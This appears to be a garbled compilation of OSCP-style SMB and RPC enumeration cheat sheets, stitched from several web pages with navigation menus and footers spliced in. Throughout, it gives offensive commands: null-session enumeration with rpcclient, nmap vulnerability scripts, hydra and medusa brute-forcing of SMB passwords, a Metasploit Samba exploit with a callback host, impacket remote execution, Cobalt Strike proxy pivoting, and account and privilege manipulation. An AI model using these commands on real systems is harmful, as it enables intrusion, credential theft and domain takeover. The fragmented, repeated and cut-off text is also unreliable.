If you're having trouble getting the version from the usual methods, you might have to use wireshark or tcpdump to inspect the packets. nmap -p 139,445 --open -oG smb.txt 192.168.1.0/24, nmap --script smb-enum-shares -p 139,445 $ip, smbclient -L //10.10.10.3/ --option='client min protocol=NT1', # if getting error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED", SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename, SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename, nmap --script=smb-enum* --script-args=unsafe=1 -T5 $ip, nmap --script=smb-vuln* --script-args=unsafe=1 -T5 $ip, nmap --script=smb2-capabilities,smb-print-text,smb2-security-mode.nse,smb-protocols,smb2-time.nse,smb-psexec,smb2-vuln-uptime,smb-security-mode,smb-server-stats,smb-double-pulsar-backdoor,smb-system-info,smb-vuln-conficker,smb-enum-groups,smb-vuln-cve2009-3103,smb-enum-processes,smb-vuln-cve-2017-7494,smb-vuln-ms06-025,smb-enum-shares,smb-vuln-ms07-029,smb-enum-users,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-ls,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-os-discovery --script-args=unsafe=1 -T5 $ip, nmap -p139,445 -T4 -oN smb_vulns.txt -Pn --script 'not brute and not dos and smb-*' -vv -d $ip, Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default, Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default. To begin the enumeration, a connection needs to be established. In the case of queryusergroups, the group will be enumerated. SAMR 1690825 blocks of size 2048. The privileges can be enumerated using the enumprivs command on rpcclient. To demonstrate this, the attacker first used the lsaaddpriv command to add the SeCreateTokenPrivielge to the SID and then used the lsadelpriv command to remove that privilege from that group as well. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1002 Workgroup Master rpcclient -U '%' -N <IP> Web-Enum . A collection of commands and tools used for conducting enumeration during my OSCP journey. Running something like ngrep -i -d tap0 's.?a.?m.?b.?a. | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) share Disk result was NT_STATUS_NONE_MAPPED IPC$ IPC Remote IPC In this article, we were able to enumerate a wide range of information through the SMB and RPC channel inside a domain using the rpcclient tool. Query Group Information and Group Membership. --------------- ---------------------- | Current user access: getprinter Get printer info With some input from the NetSecFocus group, Im building out an SMB enumeration check list here. It is possible to enumerate the minimum password length and the enforcement of complex password rules. rpcclient $> lookupnames root So, it is also a good way to enumerate what kind of services might be running on the server, this can be done using enumdomgroup. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. enumdata Enumerate printer data OSCP Enumeration Cheat Sheet. | Anonymous access: root S-1-5-21-1835020781-2383529660-3657267081-1000 (User: 1) rpcclient $> lookupnames lewis I create my own checklist for the first but very important step: Enumeration. The next command that can help with the enumeration is lsaquery. On other systems, youll find services and applications using port 139. S-1-5-21-1835020781-2383529660-3657267081-1007 LEWISFAMILY\sys (2) 139/tcp open netbios-ssn -I, --dest-ip=IP Specify destination IP address, Help options S-1-5-21-1835020781-2383529660-3657267081-1013 LEWISFAMILY\mail (2) | Anonymous access: READ -S, --signing=on|off|required Set the client signing state That narrows the version that the attacker might be looking at to Windows 10, Windows Server 2016, and Windows Server 2019. Moving on, same way, they can query info about specific AD users: Enumerate current user's privileges and many more (consult rpcclient for all available commands): Finally, of course they can run nmap if needed: Impacket provides even more tools to enumerate remote systems through compromised boxes. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! Passing the SID as a parameter in the lsacreateaccount command will enable us as an attacker to create an account object as shown in the image below. This command retrieves the domain, server, users on the system, and other relevant information. enumalsgroups Enumerate alias groups lsaenumacctrights Enumerate the rights of an SID For the demonstration here, RID 0x200 was used to find that it belongs to the Domain Admin groups. great when smbclient doesnt work method. Using rpcclient it is possible to create a group. Beyond the enumeration I show here, it will also help enumerate shares that are readable, and can ever execute commands on writable shares. Might ask for password. debuglevel Set debug level # You will be asked for a password but leave it blank and press enter to continue. for all files), recurse: toggles recursion on (default: off), prompt: toggles prompting for filenames off (default: on), mget: copies all files matching the mask from host to client machine, Specially interesting from shares are the files called, by all authenticated users in the domain. On most Linuxes, we have tab auto-complete of commands, which extends into rpcclient commands. Nmap scan report for [ip] seal Force RPC pipe connections to be sealed C$ Disk Default share These commands can enumerate the users and groups in a domain. | Comment: Default share |_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug) For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2000 netname: IPC$ Use `proxychains + command" to use the socks proxy. C$ NO ACCESS This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). This tool is part of the samba(7) suite. result was NT_STATUS_NONE_MAPPED ENUMERATING USER ACCOUNTS ON LINUX AND OS X WITH RPCCLIENT, Hacking Samba on Ubuntu and Installing the Meterpreter. guest access disabled, uses encryption. 1. The SID was retrieved using the lookupnames command. C$ NO ACCESS . Second - attacker opens a socks4 proxy on port 7777 on his local kali machine (10.0.0.5) by issuing: This means that the attacker can now use proxychains to proxy traffic from their kali box through the beacon to the target (attacker ---> beacon ---> end target). Sharename Type Comment These privileges can help the attacker plan for elevating privileges on the domain. Hydra v5.1 (c) 2005 by van Hauser / THC - use allowed only for legal purposes. --------- -------, Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-27 16:25 EDT In there you may, many different batch, VBScript, and PowerShell, using some discovered credentials. --------- ---- ------- Let's see how this works by firstly updating the proxychains config file: Once proxychains are configured, the attacker can start enumerating the AD environment through the beacon like so: proxychains rpcclient 10.0.0.6 -U spotless, Victim (10.0.0.2) is enumerating DC (10.0.0.6) on behalf of attacker (10.0.0.5). Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds. so lets run rpcclient with no options to see what's available: SegFault:~ cg$ rpcclient. server type : 0x9a03. One of the first enumeration commands to be demonstrated here is the srvinfo command. Learning about various kinds of compromises that can be performed using Mimikatz we know that the SID of a user is the security Identifier that can be used for a lot of elevating privileges and minting tickets attacks. Password attack (Brute-force) Brute-force service password. WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort Shortcut to New Folder (2).lnk A 420 Sun Dec 13 05:24:51 2015 A Mind Map about OSCP Guide submitted by Rikunj Sindhwad on Jun 12, 2021. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 ADMIN$ Disk Remote Admin dfsremove Remove a DFS share Reconnecting with SMB1 for workgroup listing. All rights reserved. WORKGROUP <00> - M These commands should only be used for educational purposes or authorised testing. In this specific demonstration, there are a bunch of users that include Administrator, yashika, aarti, raj, Pavan, etc. [+] User SMB session establishd on [ip] guest S-1-5-21-1835020781-2383529660-3657267081-1063 (Local Group: 4) password: rpcclient $> srvinfo It can be used on the rpcclient shell that was generated to enumerate information about the server. rffpcnex Rffpcnex test In the demonstration, the user with RID 0x1f4 was enumerated regarding their password properties. Checklist - Local Windows Privilege Escalation, Pentesting JDWP - Java Debug Wire Protocol, 161,162,10161,10162/udp - Pentesting SNMP, 515 - Pentesting Line Printer Daemon (LPD), 548 - Pentesting Apple Filing Protocol (AFP), 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP, 1433 - Pentesting MSSQL - Microsoft SQL Server, 1521,1522-1529 - Pentesting Oracle TNS Listener, 2301,2381 - Pentesting Compaq/HP Insight Manager, 3690 - Pentesting Subversion (svn server), 4369 - Pentesting Erlang Port Mapper Daemon (epmd), 8009 - Pentesting Apache JServ Protocol (AJP), 8333,18333,38333,18444 - Pentesting Bitcoin, 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream), 10000 - Pentesting Network Data Management Protocol (ndmp), 24007,24008,24009,49152 - Pentesting GlusterFS, 50030,50060,50070,50075,50090 - Pentesting Hadoop, Reflecting Techniques - PoCs and Polygloths CheatSheet, Dangling Markup - HTML scriptless injection, HTTP Request Smuggling / HTTP Desync Attack, Regular expression Denial of Service - ReDoS, Server Side Inclusion/Edge Side Inclusion Injection, XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations), Pentesting CI/CD (Github, Jenkins, Terraform), Windows Exploiting (Basic Guide - OSCP lvl), INE Courses and eLearnSecurity Certifications Reviews, Stealing Sensitive Information Disclosure from a Web, Enumerate Users, Groups & Logged On Users, Manually enumerate windows shares and connect to them, . Wordlist dictionary. lsaaddacctrights Add rights to an account The createdomgroup command is to be used to create a group. lsaenumsid Enumerate the LSA SIDS -n, --netbiosname=NETBIOSNAME Primary netbios name Hashes work. | References: One of the first enumeration commands to be demonstrated here is the srvinfo command. Disclaimer: These notes are not in the context of any machines I had during the OSCP lab or exam. remark: IPC Service (Mac OS X) Can be Contacted onTwitterandLinkedIn, All Rights Reserved 2021 Theme: Prefer by, Windows Privilege Escalation: DnsAdmins to DomainAdmin. Get help on commands | smb-vuln-ms06-025: # lines. *[[:digit:]]' port 139 in one terminal and then echo exit | smbclient -L [IP] in another will dump out a bunch of info including the version. You can indicate which option you prefer to use with the parameter, # Using --exec-method {mmcexec,smbexec,atexec,wmiexec}, via SMB) in the victim machine and use it to, it is located on /usr/share/doc/python3-impacket/examples/, #If no password is provided, it will be prompted, Stealthily execute a command shell without touching the disk or running a new service using DCOM via, #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted, Execute commands via the Task Scheduler (using, https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/, #Get usernames bruteforcing that rids and then try to bruteforce each user name, This attack uses the Responder toolkit to. rpcclient $> enumprivs To do this first, the attacker needs a SID. 1433 - Pentesting MSSQL - Microsoft SQL Server. MSRPC was originally derived from open source software but has been developed further and copyrighted by . sourcedata Source data -?, --help Show this help message path: C:\tmp rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1006 With --pw-nt-hash, the pwd provided is the NT hash, #Use --no-pass -c 'recurse;ls' to list recursively with smbclient, #List with smbmap, without folder it list everything. Checklist - Local Windows Privilege Escalation, Pentesting JDWP - Java Debug Wire Protocol, 161,162,10161,10162/udp - Pentesting SNMP, 515 - Pentesting Line Printer Daemon (LPD), 548 - Pentesting Apple Filing Protocol (AFP), 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP, 1433 - Pentesting MSSQL - Microsoft SQL Server, 1521,1522-1529 - Pentesting Oracle TNS Listener, 2301,2381 - Pentesting Compaq/HP Insight Manager, 3690 - Pentesting Subversion (svn server), 4369 - Pentesting Erlang Port Mapper Daemon (epmd), 8009 - Pentesting Apache JServ Protocol (AJP), 8333,18333,38333,18444 - Pentesting Bitcoin, 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream), 10000 - Pentesting Network Data Management Protocol (ndmp), 24007,24008,24009,49152 - Pentesting GlusterFS, 50030,50060,50070,50075,50090 - Pentesting Hadoop, Reflecting Techniques - PoCs and Polygloths CheatSheet, Dangling Markup - HTML scriptless injection, HTTP Request Smuggling / HTTP Desync Attack, Regular expression Denial of Service - ReDoS, Server Side Inclusion/Edge Side Inclusion Injection, XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations), Pentesting CI/CD (Github, Jenkins, Terraform), Windows Exploiting (Basic Guide - OSCP lvl), INE Courses and eLearnSecurity Certifications Reviews, Stealing Sensitive Information Disclosure from a Web, (represented in hexadecimal format) utilized by Windows to. This can be extracted using the lookupnames command used earlier. remark: PSC 2170 Series A collection of commands and tools used for conducting enumeration during my OSCP journey. After establishing the connection, to get the grasp of various commands that can be used you can run the help. The rpcclient was designed to perform debugging and troubleshooting tasks on a Windows Samba configuration. {% code-tabs-item title="attacker@kali" %}. | smb-vuln-ms17-010: Host is up (0.030s latency). When dealing with SMB an attacker is bound to be dealt with the Network Shares on the Domain. This command can help with the enumeration of the LSA Policy for that particular domain. Thus it might be worth a short to try to manually connect to a share. . *[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &, echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null, # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv, msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run, msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run, Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016, nmap -p 445 $ip --script=smb-vuln-ms17-010, hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb, smbclient \\\\192.168.1.105\\ipc$ -U john. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. This command will show you the shares on the host, as well as your access to them. |_ Current user access: READ After manipulating the Privileges on the different users and groups it is possible to enumerate the values of those specific privileges for a particular user using the lsalookupprivvalue command. Using rpcclient we can enumerate usernames on those OS's just like a windows OS. --------------- ---------------------- All this can be observed in the usage of the lsaenumprivaccount command. While having some privileges it is also possible to create a user within the domain using the rpcclient. Enumerating Active Directory Using RPCClientInformation about password levels can be found using this MSDN article.https://docs.microsoft.com/en-us/openspecs. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1007 It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. Ill include examples, but where I use PWK labs, Ill anonymize the data per their rules. lookupsids Convert SIDs to names | Type: STYPE_DISKTREE It can be observed that the os version seems to . The TTL drops 1 each time it passes through a router. LEWISFAMILY Wk Sv PrQ Unx NT SNT Mac OS X [Original] As I've been working through PWK/OSCP for the last month, one thing I've noticed is that enumeration of SMB is tricky, and different tools . |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ A null session is a connection with a samba or SMB server that does not require authentication with a password. SMB allows you to share your resources to other computers over the network, version susceptible to known attacks (Eternal blue , wanna cry), Disabled by default in newer Windows version, reduced "chattiness" of SMB1. certcube provides a detailed guide of oscp enumeration with step by step oscp enumeration cheatsheet. If used the RID is the parameter, the samlookuprids command can extract the username relevant to that particular RID. S-1-5-21-1835020781-2383529660-3657267081-2003 LEWISFAMILY\user (2) dfsexist Query DFS support [+] User SMB session establishd on [ip] To enumerate these shares the attacker can use netshareenum on the rpcclient. with a RID:[0x457] Hex 0x457 would = decimal. When it was passed as a parameter in the command lookupsids, the attacker was able to know that this belongs to the group Everyone. Nice! | Comment: lsaremoveacctrights Remove rights from an account Reverse Shell. SegFault:~/Documents/Evil cg$ hydra -l lewis -P common-passwords.txt 192.168.182.36 smb -V path: C:\tmp Where the output of the magic script needs to be stored? lsaquery Query info policy rpcclient is a part of the Samba suite on Linux distributions. SPOOLSS This command helps the attacker enumerate the security objects or permissions and privileges related to the security as demonstrated below. Match. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2004 getform Get form The ability to enumerate individually doesnt limit to the groups but also extends to the users. search type:exploit platform:windows target:2008 smb, domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash, #You can use querydispinfo and enumdomusers to query user information, /usr/share/doc/python3-impacket/examples/samrdump.py, /usr/share/doc/python3-impacket/examples/rpcdump.py, # This info should already being gathered from enum4linux and enum4linux-ng, In file browser window (nautilus, thunar, etc), It is always recommended to look if you can access to anything, if you don't have credentials try using, #If you omit the pwd, it will be prompted. Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation. Guest access disabled by default. SYSVOL NO ACCESS, [+] Finding open SMB ports. It accepts the group name as a parameter. [DATA] attacking service smb on port 139 As with the previous commands, the share enumeration command also comes with the feature to target a specific entity. Enumerate Domain Groups. NETLOGON -P, --machine-pass Use stored machine account password |_smb-vuln-ms10-061: false #rpcclient $>srvinfo #rpcclient $>enumdomusers #rpcclient $>querydominfo #rpcclient $>getdompwinfo //password policy #rpcclient $>netshareenum #nmblookup -A 192.168.1.1 rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1005 Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is a protocol that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network. Read previous sections to learn how to connect with credentials/Pass-the-Hash. From the enumdomusers command, it was possible to obtain the users of the domain as well as the RID. Enter WORKGROUP\root's password: Metasploit SMB auxiliary scanners. great when smbclient doesnt work, Rpcclient is a Linux tool used for executing client-side MS-RPC functions. Are there any resources out there that go in-depth about SMB enumeration? However, for this particular demonstration, we are using rpcclient. It is possible to perform enumeration regarding the privileges for a group or a user based on their SID as well. The next command to observe is the lsaquerysecobj command. 139/tcp open netbios-ssn Enumerate Domain Users. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1008 Password: enumkey Enumerate printer keys The name is derived from the enumeration of domain users. During our previous demonstrations, we were able to enumerate the permissions and privileges of users and groups based on the RID of that particular user. [+] IP: [ip]:445 Name: [ip] Further, when the attacker used the same SID as a parameter for lsaenumprivaccount, they were able to enumerate the levels of privileges such as high, low, and attribute. The connection uses. It is possible to enumerate the SAM data through the rpcclient as well. 548 - Pentesting Apple Filing Protocol (AFP) 554,8554 - Pentesting RTSP. But sometimes these don't yield any interesting results. In other words - it's possible to enumerate AD (or create/delete AD users, etc.) | Anonymous access: Code Execution. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2001 queryaliasmem Query alias membership NETLOGON READ ONLY rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1003 To enumerate a particular user from rpcclient, the queryuser command must be used. In the demonstration, it can be observed that lsaenumsid has enumerated 20 SIDs within the Local Security Authority or LSA. -O, --socket-options=SOCKETOPTIONS socket options to use proxychains nmap -sTV -n -PN -p 80,22 target-ip -vv. It is also possible to add and remove privileges to a specific user as well. Protocol_Name: SMB #Protocol Abbreviation if there is one. | This can be done by providing the Username and Password followed by the target IP address of the server. --------------- ---------------------- Flashcards. Most secure. First one - two Cobalt Strike sessions: Second - attacker opens a socks4 proxy on port 7777 on his local kali machine (10.0.0.5) by issuing: {% code-tabs %} This is purely my experience with CTFs, Tryhackme, Vulnhub, and Hackthebox prior to enrolling in OSCP. addform Add form | A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1
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